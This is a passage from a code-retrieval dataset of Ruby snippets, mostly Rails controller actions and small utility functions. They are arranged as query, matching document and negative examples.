"def destroy\n @acoes_funcionarios = AcaoFuncionario.find(params[:id])\n @acoes_funcionarios.destroy\n\n respond_to do |format|\n format.html { redirect_to(acoes_funcionarios_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @fonction.destroy\n respond_to do |format|\n format.html { redirect_to fonctions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @administrativo = Administrativo.find(params[:id])\n @administrativo.destroy\n\n respond_to do |format|\n format.html { redirect_to administrativos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @funcion.destroy\n respond_to do |format|\n format.html { redirect_to funcions_url, notice: 'Funcion was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @fonctionn.destroy\n respond_to do |format|\n format.html { redirect_to fonctionns_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @equipe_funcao.destroy\n respond_to do |format|\n format.html { redirect_to admin_equipe_funcoes_url, notice: 'Equipe foi deletado com sucesso.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @administracao_escola.destroy\n respond_to do |format|\n format.html { redirect_to administracao_escolas_url, notice: 'Escola foi removido do sistema.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @funcionarios_turma.destroy\n respond_to do |format|\n format.html { redirect_to funcionarios_turmas_url, notice: 'Funcionarios turma was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @datos_registro.destroy\n respond_to do |format|\n format.html { redirect_to datos_registros_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @administracao_veiculo.destroy\n respond_to do |format|\n format.html { redirect_to administracao_veiculos_url, notice: 'Veiculo foi removido do sistema.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @fabricante = Fabricante.find(params[:id])\n @fabricante.destroy\n\n respond_to do |format|\n format.html { redirect_to fabricantes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cliente_fisico.destroy\n respond_to do |format|\n format.html { redirect_to cliente_fisicos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @autorizacion = Autorizacion.find(params[:id])\n @autorizacion.destroy\n\n respond_to do |format|\n format.html { redirect_to autorizaciones_url }\n format.json { head :no_content }\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Returns the square of the sum of the first +n+ natural numbers
|
def square_of_sums
return (@n * (@n + 1) / 2)**2
end
|
[
"def square_of_sum(n)\n sum = 0\n (1..n).each {|i| sum = sum + i}\n sum * sum\n end",
"def square_of_sums\n\n\t\t#Sum all numbers between 1 and n\n\t\tsum = (1..@n_numbers).reduce(:+)\n\t\t#Square the sum\n\t\tsum **= 2\n\tend",
"def sum_of_squares(n)\n sum = 0\n (1..n).each {|i| sum = sum + (i*i)}\n sum\n end",
"def square_of_sums()\n\t\tsum = 0\n\t\tfor n in 1..@n_numbers\n\t\t\tsum += n\n\t\tend\n\t\tsum **= 2\n\t\treturn sum\n\tend",
"def sumNumbers(n)\n\treturn (n * (n + 1) / 2)\nend",
"def sum_of_squares\n\t\trtnSum = 0\n\t\t#Add the sqare of each number to a sum\n\t\trtnSum = (1..@n_numbers).inject { |sum, n|\n\t\t\tsum += n**2\n\t\t}\n\t\trtnSum\n\tend",
"def sum_of_squares(n)\n return (1..n-1).inject(0) {|sum, i| sum + i**2}\nend",
"def sum_of_squares()\n\t\tsum = 0\n\t\tfor n in 1..@n_numbers\n\t\t\tsum += n**2\n\t\tend\n\t\treturn sum\n\tend",
"def sum_square_difference(n)\n sum = 0\n sums_squared = 0\n 1.upto(n) do |num|\n sum += num\n sums_squared += num**2\n end\n sum**2 - sums_squared\nend",
"def first_even_numbers_sum(n)\n return 0 if n <= 0\n 2*n + first_even_numbers_sum(n-1)\n end",
"def sum_of_primes(n)\n Prime.first(n).inject(0, :+)\nend",
"def sum(n)\n end",
"def natural_numbers\nsquare_of_sums = []\n#TOTAL for sum of squares\nsum_of_squares = []\n\nfor x in (1..100) \n square_of_sums << x**2\nend\n\nfor x in (1..100)\n sum_of_squares << x\nend\n #print square_of_sums\n #puts \"\"\n #print sum_of_squares\n\n result = ((sum_of_squares.inject(0) { |r, e| r + e })**2) - \n (square_of_sums.inject(0) { |r, e| r + e })\n puts result \n\nend",
"def sum(n) \n check_pre((n.nat?))\n sum_(0,n)\n end",
"def first_even_numbers_sum(n)\n return 2 if n == 1\n first_even_numbers_sum(n-1) + (n*2)\n end",
"def first_even_numbers_sum(n)\n return 2 if n == 1\n 2 * n + first_even_numbers_sum(n-1)\n end",
"def squareSum(numbers)\n numbers.map { |n| n*n }.reduce(:+)\nend",
"def sum_square_difference(n)\n return 0 if n < 0\n numbers_to_n = []\n 1.upto(n) do |num|\n numbers_to_n << num\n end\n \n square_of_sum = numbers_to_n.reduce(:+)**2\n integers_to_n_squared = numbers_to_n.map { |num| num**2 }\n sum_of_square = integers_to_n_squared.reduce(:+)\n \n square_of_sum - sum_of_square\nend",
"def squareSum(numbers)\n numbers.map { |i| i ** 2 }.reduce(:+)\nend"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
GET /ways GET /ways.json
|
def index
@ways = Way.all
end
|
[
"def index\n\n begin\n @pathways = Pathway.order(:name).to_a\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pathways }\n end\n rescue\n handle_unspecified_error\n end\n\n end",
"def show\n @pathway = Pathway.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pathway }\n end\n end",
"def get_ways_using_node(id)\n api_call(id, \"node/#{id}/ways\")\n end",
"def get_ways_using_node(id)\n api_call(id, \"node/#{id}/ways\")\n end",
"def index\n @directions = Direction.all\n\n render json: @directions\n end",
"def index\n @ways_of_admissions = WaysOfAdmission.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @ways_of_admissions }\n end\n end",
"def show\n @ways_of_admission = WaysOfAdmission.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @ways_of_admission }\n end\n end",
"def show\n @subway = Subway.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subway }\n end\n end",
"def show\n @railway = Railway.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @railway }\n end\n end",
"def index\n @subways = Subway.all\n end",
"def index\n @order_ways = OrderWay.all\n end",
"def new\n @pathway = Pathway.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pathway }\n end\n end",
"def get_way(id)\n get_object('way', id)\n end",
"def index\n @handover_ways = HandoverWay.all\n end",
"def get_ways_using_node_from_api(api=OSM::API.new)\n api.get_ways_using_node(self.id.to_i)\n end",
"def get_way(id)\n get_object('way', id)\n end",
"def get_way(id)\n @ways[id.to_i]\n end",
"def index\n @walkers = Walker.all\n\n render json: @walkers\n end",
"def show\n @road = Road.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @road }\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
POST /ways POST /ways.json
|
def create
@way = Way.new(way_params)
respond_to do |format|
if @way.save
format.html { redirect_to @way, notice: 'Way was successfully created.' }
format.json { render :show, status: :created, location: @way }
else
format.html { render :new }
format.json { render json: @way.errors, status: :unprocessable_entity }
end
end
end
|
[
"def create\n @pathway = Pathway.new(params[:pathway])\n\n respond_to do |format|\n if @pathway.save\n format.html { redirect_to @pathway, notice: 'Pathway was successfully created.' }\n format.json { render json: @pathway, status: :created, location: @pathway }\n else\n format.html { render action: \"new\" }\n format.json { render json: @pathway.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order_way = OrderWay.new(order_way_params)\n\n respond_to do |format|\n if @order_way.save\n format.html { redirect_to @order_way, notice: 'Order way was successfully created.' }\n format.json { render :show, status: :created, location: @order_way }\n else\n format.html { render :new }\n format.json { render json: @order_way.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @way = Way.new(params[:way])\n\n respond_to do |format|\n if @way.save\n format.html { redirect_to(@way, :notice => 'Way was successfully created.') }\n format.xml { render :xml => @way, :status => :created, :location => @way }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @way.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @subway = Subway.new(params[:subway])\n\n respond_to do |format|\n if @subway.save\n format.html { redirect_to @subway, notice: 'Subway was successfully created.' }\n format.json { render json: @subway, status: :created, location: @subway }\n else\n format.html { render action: \"new\" }\n format.json { render json: @subway.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @handover_way = HandoverWay.new(handover_way_params)\n\n respond_to do |format|\n if @handover_way.save\n format.html { redirect_to @handover_way, notice: 'Handover way was successfully created.' }\n format.json { render :show, status: :created, location: @handover_way }\n else\n format.html { render :new }\n format.json { render json: @handover_way.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @subway = Subway.new(subway_params)\n\n respond_to do |format|\n if @subway.save\n format.html { redirect_to @subway, notice: 'Subway was successfully created.' }\n format.json { render action: 'show', status: :created, location: @subway }\n else\n format.html { render action: 'new' }\n format.json { render json: @subway.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @recycling_way = RecyclingWay.new(recycling_way_params)\n\n respond_to do |format|\n if @recycling_way.save\n format.html { redirect_to @recycling_way, notice: 'Recycling way was successfully created.' }\n format.json { render :show, status: :created, location: @recycling_way }\n else\n format.html { render :new }\n format.json { render json: @recycling_way.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @railway = Railway.new(params[:railway])\n\n respond_to do |format|\n if @railway.save\n format.html { redirect_to @railway, notice: 'Railway was successfully created.' }\n format.json { render json: @railway, status: :created, location: @railway }\n else\n format.html { render action: \"new\" }\n format.json { render json: @railway.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @payment_way = PaymentWay.new(payment_way_params)\n\n respond_to do |format|\n if @payment_way.save\n format.html { redirect_to @payment_way, notice: 'Payment way was successfully created.' }\n format.json { render :show, status: :created, location: @payment_way }\n else\n format.html { render :new }\n format.json { render json: @payment_way.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n begin\n @pathway = Pathway.new(pathway_params)\n respond_to do |format|\n if @pathway.save\n format.html { redirect_to @pathway, notice: 'Pathway was successfully created.' }\n format.js {}\n format.json { render json: @pathway, status: :created, location: @pathway }\n else\n format.html { render action: \"new\" }\n format.js {}\n format.json { render json: @pathway.errors, status: :unprocessable_entity }\n end\n end\n rescue\n handle_unspecified_error\n end\n end",
"def create\n @railway = Railway.new(railway_params)\n\n respond_to do |format|\n if @railway.save\n format.html { redirect_to @railway, notice: \"Railway was successfully created.\" }\n format.json { render :show, status: :created, location: @railway }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @railway.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @ways_of_admission = WaysOfAdmission.new(params[:ways_of_admission])\n\n respond_to do |format|\n if @ways_of_admission.save\n format.html { redirect_to @ways_of_admission, :notice => 'Ways of admission was successfully created.' }\n format.json { render :json => @ways_of_admission, :status => :created, :location => @ways_of_admission }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @ways_of_admission.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @way_pay = WayPay.new(way_pay_params)\n\n respond_to do |format|\n if @way_pay.save\n format.html { redirect_to @way_pay, notice: 'Way pay was successfully created.' }\n format.json { render :show, status: :created, location: @way_pay }\n else\n format.html { render :new }\n format.json { render json: @way_pay.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @way_point = WayPoint.new(way_point_params)\n\n respond_to do |format|\n if @way_point.save\n format.html { redirect_to @way_point, notice: 'Way point was successfully created.' }\n format.json { render :show, status: :created, location: @way_point }\n else\n format.html { render :new }\n format.json { render json: @way_point.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @direction = Direction.new(direction_params)\n\n if @direction.save\n render json: @direction, status: :created#, location: @direction\n else\n render json: @direction.errors, status: :unprocessable_entity\n end\n end",
"def new\n @pathway = Pathway.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pathway }\n end\n end",
"def create\n @wayaku = Wayaku.new(wayaku_params)\n\n respond_to do |format|\n if @wayaku.save\n format.html { redirect_to @wayaku, notice: 'Wayaku was successfully created.' }\n format.json { render :show, status: :created, location: @wayaku }\n else\n format.html { render :new }\n format.json { render json: @wayaku.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @subway = Subway.new(params[:subway])\n\n respond_to do |format|\n if @subway.save\n format.html { redirect_to(@subway, :notice => 'Subway was successfully created.') }\n format.xml { render :xml => @subway, :status => :created, :location => @subway }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @subway.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @waypoint = Waypoint.new(waypoint_params)\n\n respond_to do |format|\n if @waypoint.save\n format.html { redirect_to @waypoint, notice: 'Waypoint was successfully created.' }\n format.json { render :show, status: :created, location: @waypoint }\n else\n format.html { render :new }\n format.json { render json: @waypoint.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
PATCH/PUT /ways/1 PATCH/PUT /ways/1.json
|
def update
respond_to do |format|
if @way.update(way_params)
format.html { redirect_to @way, notice: 'Way was successfully updated.' }
format.json { render :show, status: :ok, location: @way }
else
format.html { render :edit }
format.json { render json: @way.errors, status: :unprocessable_entity }
end
end
end
|
[
"def update\n @pathway = Pathway.find(params[:id])\n\n respond_to do |format|\n if @pathway.update_attributes(params[:pathway])\n format.html { redirect_to @pathway, notice: 'Pathway was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pathway.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @subway = Subway.find(params[:id])\n\n respond_to do |format|\n if @subway.update_attributes(params[:subway])\n format.html { redirect_to @subway, notice: 'Subway was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subway.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @way = Way.find(params[:id])\n\n respond_to do |format|\n if @way.update_attributes(params[:way])\n format.html { redirect_to(@way, :notice => 'Way was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @way.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n\n begin\n @pathway = Pathway.includes(:questions).find(params[:id])\n\n respond_to do |format|\n if @pathway.update_attributes(pathway_params)\n format.html { redirect_to @pathway, notice: 'Pathway was successfully updated.' }\n format.js {}\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.js {}\n format.json { render json: @pathway.errors, status: :unprocessable_entity }\n end\n end\n\n rescue ActiveRecord::RecordNotFound\n handle_pathway_not_found\n end\n\n end",
"def update\n @railway = Railway.find(params[:id])\n\n respond_to do |format|\n if @railway.update_attributes(params[:railway])\n format.html { redirect_to @railway, notice: 'Railway was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @railway.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_suggested_course_pathway\n suggested_pathway = SuggestedPathway.find_by(id: params[:id])\n suggested_pathway.name = params[:name]\n suggested_pathway.year = params[:year]\n suggested_pathway.course_id = params[:course_id]\n suggested_pathway.data = params[:data]\n suggested_pathway.save\n render json: suggested_pathway\n end",
"def update\n respond_to do |format|\n if @subway.update(subway_params)\n format.html { redirect_to @subway, notice: 'Subway was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @subway.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @ways_of_admission = WaysOfAdmission.find(params[:id])\n\n respond_to do |format|\n if @ways_of_admission.update_attributes(params[:ways_of_admission])\n format.html { redirect_to @ways_of_admission, :notice => 'Ways of admission was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @ways_of_admission.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order_way.update(order_way_params)\n format.html { redirect_to @order_way, notice: 'Order way was successfully updated.' }\n format.json { render :show, status: :ok, location: @order_way }\n else\n format.html { render :edit }\n format.json { render json: @order_way.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @subway = Subway.find(params[:id])\n\n respond_to do |format|\n if @subway.update_attributes(params[:subway])\n format.html { redirect_to(@subway, :notice => 'Subway was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @subway.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @recycling_way.update(recycling_way_params)\n format.html { redirect_to @recycling_way, notice: 'Recycling way was successfully updated.' }\n format.json { render :show, status: :ok, location: @recycling_way }\n else\n format.html { render :edit }\n format.json { render json: @recycling_way.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @way_point.update(way_point_params)\n format.html { redirect_to @way_point, notice: 'Way point was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @way_point.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch *args\n make_request :patch, *args\n end",
"def update\n respond_to do |format|\n if @railway.update(railway_params)\n format.html { redirect_to @railway, notice: \"Railway was successfully updated.\" }\n format.json { render :show, status: :ok, location: @railway }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @railway.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @bottle = Bottle.find(params[:id])\n\n respond_to do |format|\n if @bottle.update_attributes(params[:bottle])\n format.html { redirect_to @bottle, notice: 'Bottle was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bottle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @opt10059_one_one.update(opt10059_one_one_params)\n format.html { redirect_to @opt10059_one_one, notice: 'Opt10059 one one was successfully updated.' }\n format.json { render :show, status: :ok, location: @opt10059_one_one }\n else\n format.html { render :edit }\n format.json { render json: @opt10059_one_one.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @handover_way.update(handover_way_params)\n format.html { redirect_to @handover_way, notice: 'Handover way was successfully updated.' }\n format.json { render :show, status: :ok, location: @handover_way }\n else\n format.html { render :edit }\n format.json { render json: @handover_way.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\r\n respond_to do |format|\r\n if @way_point.update(way_point_params)\r\n format.html { redirect_to @way_point, notice: 'Way point was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: 'edit' }\r\n format.json { render json: @way_point.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Return an array of addresses from 1 or more aliases that match either IPv4 or IPv6
|
def resolve_alias(addresses, ipvers)
addresses = [addresses] unless addresses.is_a?(Array)
result = []
addresses.each do |address|
if address =~ /^([\w\-]+)$/
if aliases[address]
result += select_ipvers(aliases[address], ipvers)
else
raise "Alias is not defined: #{address}"
end
else
result += select_ipvers(address, ipvers)
end
end
result
end
|
[
"def ipv6_addresses\n addresses.select { |address| address.match /:/ }\n end",
"def extract_addresses(address_list)\n addresses = []\n address_list.each do |address|\n addresses << address[:address] if ['ipv4', 'hostname'].include?(address[:type])\n end\n addresses\nend",
"def extract_addresses(address_list) \n addresses = [] \n address_list.each do |address| \n addresses << address[:address] if ['ipv4', 'hostname'].include?(address[:type])\n end \n addresses \nend",
"def find\n addrs = Socket.ip_address_list.select do |addr|\n addr.ipv4? and not(addr.ipv4_loopback?) and not(addr.ipv4_multicast?)\n end\n if not(addrs.empty?)\n privates = addrs.select{|addr| addr.ipv4_private?}\n not_privates = addrs - privates\n privates = privates.sort{|a,b| a.ip_address <=> b.ip_address}\n not_privates = not_privates.sort{|a, b| a.ip_address <=> b.ip_address}\n (privates + not_privates).map {|addr| addr.ip_address}\n else\n Socket.ip_address_list.select{|addr| addr.ipv4_loopback?}.map{|addr| addr.ip_address}\n end\n end",
"def getaddresses(name)\n resolver.getaddresses(name.to_s).map(&:to_s)\n rescue Resolv::ResolvError, Errno::EADDRNOTAVAIL\n []\n end",
"def ips_for(name)\n resolvers.each do |r|\n ips = r.getaddresses(name)\n\n return ips unless ips.nil? || ips.empty?\n end\n\n []\n end",
"def get_addresses apts\n return apts.map { |apt| apt.address }\n end",
"def my_ip_address_list\n addrs = Socket.ip_address_list.select do |addr|\n addr.ipv4? and not(addr.ipv4_loopback?) and not(addr.ipv4_multicast?)\n end\n if not(addrs.empty?)\n privates = addrs.select{|addr| addr.ipv4_private?}\n not_privates = addrs - privates\n privates = privates.sort{|a,b| a.ip_address <=> b.ip_address}\n not_privates = not_privates.sort{|a, b| a.ip_address <=> b.ip_address}\n (privates + not_privates).map {|addr| addr.ip_address}\n else\n Socket.ip_address_list.select{|addr| addr.ipv4_loopback?}.map{|addr| addr.ip_address}\n end\n end",
"def host_aliases\n @fragments.map(&:host_aliases).flatten.uniq + [name]\n end",
"def addresses\n collect { |a| a.address }\n end",
"def bind_addresses\n # Switch to IPv6 ANY address if the LHOST is also IPv6\n addr = Rex::Socket.resolv_nbo(datastore['LHOST'])\n\n # First attempt to bind LHOST. If that fails, the user probably has\n # something else listening on that interface. Try again with ANY_ADDR.\n any = (addr.length == 4) ? \"0.0.0.0\" : \"::0\"\n addr = Rex::Socket.addr_ntoa(addr)\n\n # Checking if LHOST is a loopback address\n if is_loopback_address?(addr)\n print_warning(\"You are binding to a loopback address by setting LHOST to #{addr}. Did you want ReverseListenerBindAddress?\")\n end\n\n addrs = [ addr, any ]\n\n if not datastore['ReverseListenerBindAddress'].to_s.empty?\n # Only try to bind to this specific interface\n addrs = [ datastore['ReverseListenerBindAddress'] ]\n\n # Pick the right \"any\" address if either wildcard is used\n addrs[0] = any if (addrs[0] == \"0.0.0.0\" or addrs == \"::0\")\n end\n\n addrs\n end",
"def option_values_target_addrs\n\t\tres = [ ]\n\t\tres << Rex::Socket.source_address()\n\t\treturn res if not framework.db.active\n\n\t\t# List only those hosts with matching open ports?\n\t\tmport = self.active_module.datastore['RPORT']\n\t\tif (mport)\n\t\t\tmport = mport.to_i\n\t\t\thosts = {}\n\t\t\tframework.db.each_service do |service|\n\t\t\t\tif (service.port == mport)\n\t\t\t\t\thosts[ service.host.address ] = true\n\t\t\t\tend\n\t\t\tend\n\n\t\t\thosts.keys.each do |host|\n\t\t\t\tres << host\n\t\t\tend\n\n\t\t# List all hosts in the database\n\t\telse\n\t\t\tframework.db.each_host do |host|\n\t\t\t\tres << host.address\n\t\t\tend\n\t\tend\n\n\t\treturn res\n\tend",
"def getaddresses(name)\n resolver.getaddresses(name.to_s).map(&:to_s)\n rescue Resolv::ResolvError\n []\n end",
"def getaddresses(name)\n ret = []\n each_address(name) {|address| ret << address}\n return ret\n end",
"def reserved_addresses\n IPSet.new(list_addresses.map{|a| a.address.to_host })\n end",
"def public_ip_addresses\n addresses = []\n if network_interfaces.respond_to? :flat_map\n addresses = network_interfaces.flat_map do |nic|\n if nic[:access_configs].respond_to? :each\n nic[:access_configs].select { |config| config[:name] == \"External NAT\" }\n .map { |config| config[:nat_ip] }\n else\n []\n end\n end\n end\n addresses\n end",
"def all_bound_ips\n ip_list = []\n node['network']['interfaces'].each do |_ifce, attrs|\n next unless attrs['addresses'] #Not all interfaces have Addresses\n attrs['addresses'].each do |addr, _|\n ## Only take valid IPv4 and IPv6\n ip_list.push(addr) if !(IPAddr.new(addr) rescue nil).nil?\n end\n end\n ip_list\n end",
"def ipv_6_addresses\n data.ipv_6_addresses\n end",
"def addrs_with_type\n addr = []\n @ifaces.each_value { |iface|\n addr += iface.addrs_with_type\n }\n return addr\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
This endpoint allows to recommend a new member to airlines.
|
def create_recommend_a_new_member(body)
# Prepare query url.
_path_url = '/v1/airline/members/'
_query_builder = Configuration.get_base_uri
_query_builder << _path_url
_query_url = APIHelper.clean_url _query_builder
# Prepare headers.
_headers = {
'accept' => 'application/json',
'content-type' => 'application/json; charset=utf-8'
}
# Prepare and execute HttpRequest.
_request = @http_client.post(
_query_url,
headers: _headers,
parameters: body.to_json
)
_context = execute_request(_request)
validate_response(_context)
# Return appropriate response type.
decoded = APIHelper.json_deserialize(_context.response.raw_body)
NewMemberResponse.from_hash(decoded)
end
|
[
"def recommendation_create\n expose Member.recommendation_create(@oauth_token, params[:membername], \n params[:recommendation_from_username], params[:recommendation_text])\n end",
"def recommendations\n expose Member.recommendations(@oauth_token, params[:membername], recommendations_fields)\n end",
"def create\n @aiit_member = AiitMember.new(params[:aiit_member])\n\n respond_to do |format|\n if @aiit_member.save\n format.html { redirect_to @aiit_member, notice: 'Aiit member was successfully created.' }\n format.json { render json: @aiit_member, status: :created, location: @aiit_member }\n else\n format.html { render action: \"new\" }\n format.json { render json: @aiit_member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def activate\n expose Account.activate(@oauth_token, params[:membername])\n end",
"def ratemember\n if checkAuth(params)\n act_id = params[:act_id]\n user_id = params[:uid]\n members = params[:members]\n\n members.each do |ma|\n member_id = ma[:member_id]\n rating = ma[:rating]\n rate = Rating.find_by(activity_id: act_id, user_id: user_id, member_id: member_id)\n user = User.find(member_id)\n if !rate.nil?\n new_rating = (user.total_rating - rate.rating + rating) / user.num_rating\n rate.update(rating: rating)\n user.update(total_rating: user.total_rating - rate.rating + rating, rating: new_rating)\n else\n Rating.create(activity_id: act_id, user_id: user_id,\n member_id: member_id, rating: rating)\n new_rating = (user.total_rating + rating) / (user.num_rating + 1)\n user.update(num_rating: user.num_rating + 1, \n total_rating: user.total_rating + rating, rating: new_rating)\n end\n end\n rtn = {\n status: \"201\"\n }\n render :json => rtn\n \n else\n rtn = {\n errormsg: \"Authentication Denied.\",\n status: \"401\"\n }\n render :json => rtn\n end\n end",
"def invite\n @meal = Meal.find(params[:meal_id])\n authorize @meal, :update?\n @user = if params[:user_id]\n User.find(params[:user_id])\n else\n User.find_by(name: params[:user_name])\n end\n @meal.invite_user @user\n redirect_to @meal\n end",
"def invite_member\n @organization = MnoEnterprise::Organization.find(params[:id])\n\n # Find or create a new user - We create it in the frontend as MnoHub will send confirmation instructions for newly\n # created users\n user = MnoEnterprise::User.find_by(email: user_params[:email]) || create_unconfirmed_user(user_params)\n\n # Create the invitation\n invite = @organization.org_invites.create(\n user_email: user.email,\n user_role: params[:user][:role],\n referrer_id: current_user.id,\n status: 'staged' # Will be updated to 'accepted' for unconfirmed users\n )\n\n @user = if user.confirmed?\n invite.accept!(user)\n invite.reload\n else\n user.reload\n end\n end",
"def onboard\n [:real_name, :email, :instructor].each_with_object(params) do |key, obj|\n obj.require(key)\n end\n\n user = User.find(current_user.id)\n\n permissions = user.permissions\n if params[:instructor] == true\n permissions = User::Permissions::INSTRUCTOR unless permissions == User::Permissions::ADMIN\n end\n\n user.update_attributes(real_name: params[:real_name],\n email: params[:email],\n permissions: permissions,\n onboarded: true)\n\n render nothing: true, status: 204\n end",
"def assign_member\n authorize List\n @member.assigned_lists << @list\n json_response({ message: 'List assigned successfully' }, :ok)\n end",
"def create\n @rock_party = RockParty.new(params[:rock_party].merge(user: current_user))\n\n # Add attendees to rock party\n if params[:attendees]\n params[:attendees].each do |user_id|\n user = User.find(user_id)\n @rock_party.users << user\n end\n end\n\n respond_to do |format|\n if @rock_party.save\n format.html { redirect_to @rock_party, notice: 'Rock party was successfully created.' }\n format.json { render json: @rock_party, status: :created, location: @rock_party }\n else\n format.html { render action: \"new\" }\n format.json { render json: @rock_party.errors, status: :unprocessable_entity }\n end\n end\n end",
"def user\n recommendations 'user'\n end",
"def set_member #this is the method to set any new user as a member. \n self.role = 'member'\n end",
"def add_member(member)\n tm = TripMembership.new\n tm.trip = self\n tm.user = member\n tm.save\n\n tm\n end",
"def invite_member\n unless current_user.is_a? Admin\n redirect_to 'users/sign_in' , notice: 'Please sign in as an admin' and return\n end\n @user = User.find(params[:id])\n @user.type = 'Committee'\n @user.approved = true\n @user.save\n InviteCommitteeNotification.send_notification(current_user, [@user])\n respond_to do |format|\n format.html { redirect_to '/' , notice: 'Successfully invited member' }\n format.json { head :no_content }\n end\n end",
"def create\n @member = Member.find(params[:member_id])\n if @member != current_user\n render status: 403, nothing: true and return\n end\n @exam_request = @member.exam_requests.build(exam_request_params)\n if @exam_request.save\n render :show, status: :created, location: member_exam_request_url(@member, @exam_request)\n else\n render status: 400, nothing: true\n end\n end",
"def create\n @recommendation = current_user.recommendations.new(\n :article_id => params[:article_id])\n authorize @recommendation\n if @recommendation.save\n ArticleRankingWorker.perform_async(params[:article_id])\n render 'api/v1/recommendations/show', status: :created\n else\n render json: @recommendation.errors, status: :unprocessable_entity\n end\n end",
"def create\n @recommend = @recommendable.recommends.new(params[:recommend])\n @recommend.user = current_user\n \n respond_to do |format|\n if @recommend.save\n flash[:success] = 'Recommendation created.'\n format.html { redirect_to @recommendable }\n format.json { render json: @recommend, status: :created, location: @recommend }\n else\n format.html { render action: \"new\" }\n format.json { render json: @recommend.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n expose Member.update(@oauth_token, params[:membername], params)\n end",
